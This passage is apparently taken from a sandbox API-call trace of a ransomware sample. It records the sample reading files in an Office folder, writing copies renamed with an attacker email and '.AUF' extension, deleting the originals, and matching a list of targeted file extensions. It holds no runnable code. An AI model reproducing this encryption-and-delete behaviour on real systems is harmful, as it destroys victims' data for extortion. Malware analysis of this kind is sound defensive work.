nNumberOfBytesToWrite=0xdb90, lpNumberOfBytesWritten=0x2bdfc9c, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2bdfc9c*=0xdb90, lpOverlapped=0x0) returned 1 [0221.865] ReadFile (in: hFile=0x1f4, lpBuffer=0x36f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfed4, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesRead=0x2bdfed4*=0x0, lpOverlapped=0x0) returned 1 [0221.865] WriteFile (in: hFile=0x1e8, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc9c, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2bdfc9c*=0xec, lpOverlapped=0x0) returned 1 [0221.866] SetEndOfFile (hFile=0x1e8) returned 1 [0221.923] CloseHandle (hObject=0x1e8) returned 1 [0221.923] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0221.923] SetEndOfFile (hFile=0x1f4) returned 1 [0221.936] CloseHandle (hObject=0x1f4) returned 1 [0221.936] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0221.936] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmlmf.dll")) returned 1 [0221.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL") returned 68 [0221.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL") returned 68 [0221.936] lstrlenW (lpString=".doc") returned 4 [0221.936] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0221.936] lstrlenW (lpString=".docx") returned 5 [0221.936] lstrcmpiW (lpString1=".docx", lpString2="F.DLL") returned -1 [0221.936] lstrlenW (lpString=".pdf") returned 4 [0221.936] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0221.936] lstrlenW (lpString=".xls") returned 4 [0221.936] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0221.936] lstrlenW (lpString=".xlsx") returned 5 [0221.936] lstrcmpiW (lpString1=".xlsx", lpString2="F.DLL") returned -1 [0221.936] lstrlenW (lpString=".ppt") returned 4 [0221.936] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0221.937] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL") returned 68 [0221.937] lstrlenW (lpString=".zip") returned 4 [0221.937] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0221.937] lstrlenW (lpString=".rar") returned 4 [0221.937] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0221.937] lstrlenW (lpString=".bz2") returned 4 [0221.937] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0221.937] lstrlenW (lpString=".7z") returned 3 [0221.937] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0221.937] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL") returned 68 [0221.937] lstrlenW (lpString=".dbf") returned 4 [0221.937] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0221.937] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL") returned 68 [0221.937] lstrlenW (lpString=".1cd") returned 4 [0221.937] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0221.937] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL") returned 68 [0221.937] lstrlenW (lpString=".jpg") returned 4 [0221.937] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0221.937] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL") returned 68 [0221.937] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL") returned 68 [0221.937] lstrlenW (lpString=".doc") returned 4 [0221.937] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0221.937] lstrlenW (lpString=".docx") returned 5 [0221.937] lstrcmpiW (lpString1=".docx", lpString2="F.DLL") returned -1 [0221.937] lstrlenW (lpString=".pdf") returned 4 [0221.937] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0221.937] lstrlenW (lpString=".xls") returned 4 [0221.937] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0221.937] lstrlenW (lpString=".xlsx") returned 5 [0221.937] lstrcmpiW (lpString1=".xlsx", lpString2="F.DLL") returned -1 [0221.937] lstrlenW (lpString=".ppt") returned 4 [0221.937] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0221.937] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL") returned 68 [0221.937] lstrlenW (lpString=".zip") returned 4 [0221.937] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0221.937] lstrlenW (lpString=".rar") returned 4 [0221.937] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0221.937] lstrlenW (lpString=".bz2") returned 4 [0221.937] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0221.937] lstrlenW (lpString=".7z") returned 3 [0221.937] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0221.937] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL") returned 68 [0221.937] lstrlenW (lpString=".dbf") returned 4 [0221.937] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0221.937] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL") returned 68 [0221.937] lstrlenW (lpString=".1cd") returned 4 [0221.937] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0221.938] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL") returned 68 [0221.938] lstrlenW (lpString=".jpg") returned 4 [0221.938] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0221.938] lstrcmpiW (lpString1=".DLL", lpString2=".AUF") returned 1 [0221.938] lstrlenW (lpString="MSSOAP30.DLL") returned 12 [0221.938] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mssoap30.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0221.938] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2bdff1c | out: lpFileSize=0x2bdff1c*=705392) returned 1 [0221.938] CloseHandle (hObject=0x1f4) returned 1 [0221.938] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mssoap30.dll")) returned 0x20 [0221.939] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mssoap30.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0221.939] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mssoap30.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0221.939] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0221.939] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0221.939] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mssoap30.dll.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0221.939] GetLastError () returned 0x0 [0221.939] ReadFile (in: hFile=0x1f4, lpBuffer=0x36f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfed4, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesRead=0x2bdfed4*=0xac370, lpOverlapped=0x0) returned 1 [0221.989] WriteFile (in: hFile=0x1e8, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0xac380, lpNumberOfBytesWritten=0x2bdfc9c, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2bdfc9c*=0xac380, lpOverlapped=0x0) returned 1 [0222.010] ReadFile (in: hFile=0x1f4, lpBuffer=0x36f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfed4, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesRead=0x2bdfed4*=0x0, lpOverlapped=0x0) returned 1 [0222.010] WriteFile (in: hFile=0x1e8, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc9c, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2bdfc9c*=0xec, lpOverlapped=0x0) returned 1 [0222.010] SetEndOfFile (hFile=0x1e8) returned 1 [0222.010] CloseHandle (hObject=0x1e8) returned 1 [0222.010] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0222.010] SetEndOfFile (hFile=0x1f4) returned 1 [0222.015] CloseHandle (hObject=0x1f4) returned 1 [0222.015] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0222.015] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mssoap30.dll")) returned 1 [0222.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL") returned 68 [0222.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL") returned 68 [0222.016] lstrlenW (lpString=".doc") returned 4 [0222.016] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0222.016] lstrlenW (lpString=".docx") returned 5 [0222.016] lstrcmpiW (lpString1=".docx", lpString2="0.DLL") returned -1 [0222.016] lstrlenW (lpString=".pdf") returned 4 [0222.016] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0222.016] lstrlenW (lpString=".xls") returned 4 [0222.016] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0222.016] lstrlenW (lpString=".xlsx") returned 5 [0222.016] lstrcmpiW (lpString1=".xlsx", lpString2="0.DLL") returned -1 [0222.016] lstrlenW (lpString=".ppt") returned 4 [0222.016] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0222.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL") returned 68 [0222.016] lstrlenW (lpString=".zip") returned 4 [0222.016] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0222.016] lstrlenW (lpString=".rar") returned 4 [0222.016] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0222.016] lstrlenW (lpString=".bz2") returned 4 [0222.016] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0222.016] lstrlenW (lpString=".7z") returned 3 [0222.016] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0222.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL") returned 68 [0222.016] lstrlenW (lpString=".dbf") returned 4 [0222.016] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0222.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL") returned 68 [0222.016] lstrlenW (lpString=".1cd") returned 4 [0222.016] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0222.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL") returned 68 [0222.016] lstrlenW (lpString=".jpg") returned 4 [0222.016] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0222.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL") returned 68 [0222.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL") returned 68 [0222.017] lstrlenW (lpString=".doc") returned 4 [0222.017] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0222.017] lstrlenW (lpString=".docx") returned 5 [0222.017] lstrcmpiW (lpString1=".docx", lpString2="0.DLL") returned -1 [0222.017] lstrlenW (lpString=".pdf") returned 4 [0222.017] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0222.017] lstrlenW (lpString=".xls") returned 4 [0222.017] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0222.017] lstrlenW (lpString=".xlsx") returned 5 [0222.017] lstrcmpiW (lpString1=".xlsx", lpString2="0.DLL") returned -1 [0222.017] lstrlenW (lpString=".ppt") returned 4 [0222.017] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0222.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL") returned 68 [0222.017] lstrlenW (lpString=".zip") returned 4 [0222.017] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0222.017] lstrlenW (lpString=".rar") returned 4 [0222.017] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0222.017] lstrlenW (lpString=".bz2") returned 4 [0222.017] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0222.017] lstrlenW (lpString=".7z") returned 3 [0222.017] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0222.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL") returned 68 [0222.017] lstrlenW (lpString=".dbf") returned 4 [0222.017] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0222.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL") returned 68 [0222.017] lstrlenW (lpString=".1cd") returned 4 [0222.017] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0222.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL") returned 68 [0222.017] lstrlenW (lpString=".jpg") returned 4 [0222.017] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0222.018] lstrcmpiW (lpString1=".CAB", lpString2=".AUF") returned 1 [0222.018] lstrlenW (lpString="MUAUTH.CAB") returned 10 [0222.018] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muauth.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0222.243] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2bdff1c | out: lpFileSize=0x2bdff1c*=6747) returned 1 [0222.243] CloseHandle (hObject=0x1f8) returned 1 [0222.243] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muauth.cab")) returned 0x20 [0222.243] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muauth.cab.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0222.243] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muauth.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0222.243] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0222.243] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0222.243] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muauth.cab.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0222.244] GetLastError () returned 0x0 [0222.244] ReadFile (in: hFile=0x1f8, lpBuffer=0x36f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfed4, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesRead=0x2bdfed4*=0x1a5b, lpOverlapped=0x0) returned 1 [0222.289] WriteFile (in: hFile=0x184, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0x1a60, lpNumberOfBytesWritten=0x2bdfc9c, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2bdfc9c*=0x1a60, lpOverlapped=0x0) returned 1 [0222.290] ReadFile (in: hFile=0x1f8, lpBuffer=0x36f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfed4, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesRead=0x2bdfed4*=0x0, lpOverlapped=0x0) returned 1 [0222.290] WriteFile (in: hFile=0x184, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2bdfc9c, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2bdfc9c*=0xe8, lpOverlapped=0x0) returned 1 [0222.290] SetEndOfFile (hFile=0x184) returned 1 [0222.290] CloseHandle (hObject=0x184) returned 1 [0222.290] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0222.290] SetEndOfFile (hFile=0x1f8) returned 1 [0222.291] CloseHandle (hObject=0x1f8) returned 1 [0222.291] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0222.291] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muauth.cab")) returned 1 [0222.318] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB") returned 66 [0222.318] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB") returned 66 [0222.318] lstrlenW (lpString=".doc") returned 4 [0222.318] lstrcmpiW (lpString1=".doc", lpString2=".CAB") returned 1 [0222.318] lstrlenW (lpString=".docx") returned 5 [0222.318] lstrcmpiW (lpString1=".docx", lpString2="H.CAB") returned -1 [0222.318] lstrlenW (lpString=".pdf") returned 4 [0222.318] lstrcmpiW (lpString1=".pdf", lpString2=".CAB") returned 1 [0222.318] lstrlenW (lpString=".xls") returned 4 [0222.318] lstrcmpiW (lpString1=".xls", lpString2=".CAB") returned 1 [0222.318] lstrlenW (lpString=".xlsx") returned 5 [0222.318] lstrcmpiW (lpString1=".xlsx", lpString2="H.CAB") returned -1 [0222.318] lstrlenW (lpString=".ppt") returned 4 [0222.318] lstrcmpiW (lpString1=".ppt", lpString2=".CAB") returned 1 [0222.318] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB") returned 66 [0222.318] lstrlenW (lpString=".zip") returned 4 [0222.318] lstrcmpiW (lpString1=".zip", lpString2=".CAB") returned 1 [0222.318] lstrlenW (lpString=".rar") returned 4 [0222.318] lstrcmpiW (lpString1=".rar", lpString2=".CAB") returned 1 [0222.318] lstrlenW (lpString=".bz2") returned 4 [0222.318] lstrcmpiW (lpString1=".bz2", lpString2=".CAB") returned -1 [0222.318] lstrlenW (lpString=".7z") returned 3 [0222.318] lstrcmpiW (lpString1=".7z", lpString2="CAB") returned -1 [0222.318] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB") returned 66 [0222.318] lstrlenW (lpString=".dbf") returned 4 [0222.318] lstrcmpiW (lpString1=".dbf", lpString2=".CAB") returned 1 [0222.318] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB") returned 66 [0222.318] lstrlenW (lpString=".1cd") returned 4 [0222.318] lstrcmpiW (lpString1=".1cd", lpString2=".CAB") returned -1 [0222.318] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB") returned 66 [0222.318] lstrlenW (lpString=".jpg") returned 4 [0222.318] lstrcmpiW (lpString1=".jpg", lpString2=".CAB") returned 1 [0222.318] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB") returned 66 [0222.318] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB") returned 66 [0222.318] lstrlenW (lpString=".doc") returned 4 [0222.318] lstrcmpiW (lpString1=".doc", lpString2=".CAB") returned 1 [0222.318] lstrlenW (lpString=".docx") returned 5 [0222.318] lstrcmpiW (lpString1=".docx", lpString2="H.CAB") returned -1 [0222.318] lstrlenW (lpString=".pdf") returned 4 [0222.318] lstrcmpiW (lpString1=".pdf", lpString2=".CAB") returned 1 [0222.318] lstrlenW (lpString=".xls") returned 4 [0222.318] lstrcmpiW (lpString1=".xls", lpString2=".CAB") returned 1 [0222.318] lstrlenW (lpString=".xlsx") returned 5 [0222.318] lstrcmpiW (lpString1=".xlsx", lpString2="H.CAB") returned -1 [0222.319] lstrlenW (lpString=".ppt") returned 4 [0222.319] lstrcmpiW (lpString1=".ppt", lpString2=".CAB") returned 1 [0222.319] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB") returned 66 [0222.319] lstrlenW (lpString=".zip") returned 4 [0222.319] lstrcmpiW (lpString1=".zip", lpString2=".CAB") returned 1 [0222.319] lstrlenW (lpString=".rar") returned 4 [0222.319] lstrcmpiW (lpString1=".rar", lpString2=".CAB") returned 1 [0222.319] lstrlenW (lpString=".bz2") returned 4 [0222.319] lstrcmpiW (lpString1=".bz2", lpString2=".CAB") returned -1 [0222.319] lstrlenW (lpString=".7z") returned 3 [0222.319] lstrcmpiW (lpString1=".7z", lpString2="CAB") returned -1 [0222.319] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB") returned 66 [0222.319] lstrlenW (lpString=".dbf") returned 4 [0222.319] lstrcmpiW (lpString1=".dbf", lpString2=".CAB") returned 1 [0222.319] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB") returned 66 [0222.319] lstrlenW (lpString=".1cd") returned 4 [0222.319] lstrcmpiW (lpString1=".1cd", lpString2=".CAB") returned -1 [0222.319] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB") returned 66 [0222.319] lstrlenW (lpString=".jpg") returned 4 [0222.319] lstrcmpiW (lpString1=".jpg", lpString2=".CAB") returned 1 [0222.319] lstrcmpiW (lpString1=".DLL", lpString2=".AUF") returned 1 [0222.319] lstrlenW (lpString="ODBCMON.DLL") returned 11 [0222.319] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\odbcmon.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0222.561] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2bdff1c | out: lpFileSize=0x2bdff1c*=30056) returned 1 [0222.561] CloseHandle (hObject=0x1f4) returned 1 [0222.561] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\odbcmon.dll")) returned 0x20 [0222.561] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\odbcmon.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0222.562] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\odbcmon.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0222.562] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0222.562] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0222.562] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\odbcmon.dll.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0222.562] GetLastError () returned 0x0 [0222.562] ReadFile (in: hFile=0x1f4, lpBuffer=0x36f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfed4, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesRead=0x2bdfed4*=0x7568, lpOverlapped=0x0) returned 1 [0222.786] WriteFile (in: hFile=0x184, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0x7570, lpNumberOfBytesWritten=0x2bdfc9c, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2bdfc9c*=0x7570, lpOverlapped=0x0) returned 1 [0222.787] ReadFile (in: hFile=0x1f4, lpBuffer=0x36f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfed4, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesRead=0x2bdfed4*=0x0, lpOverlapped=0x0) returned 1 [0222.787] WriteFile 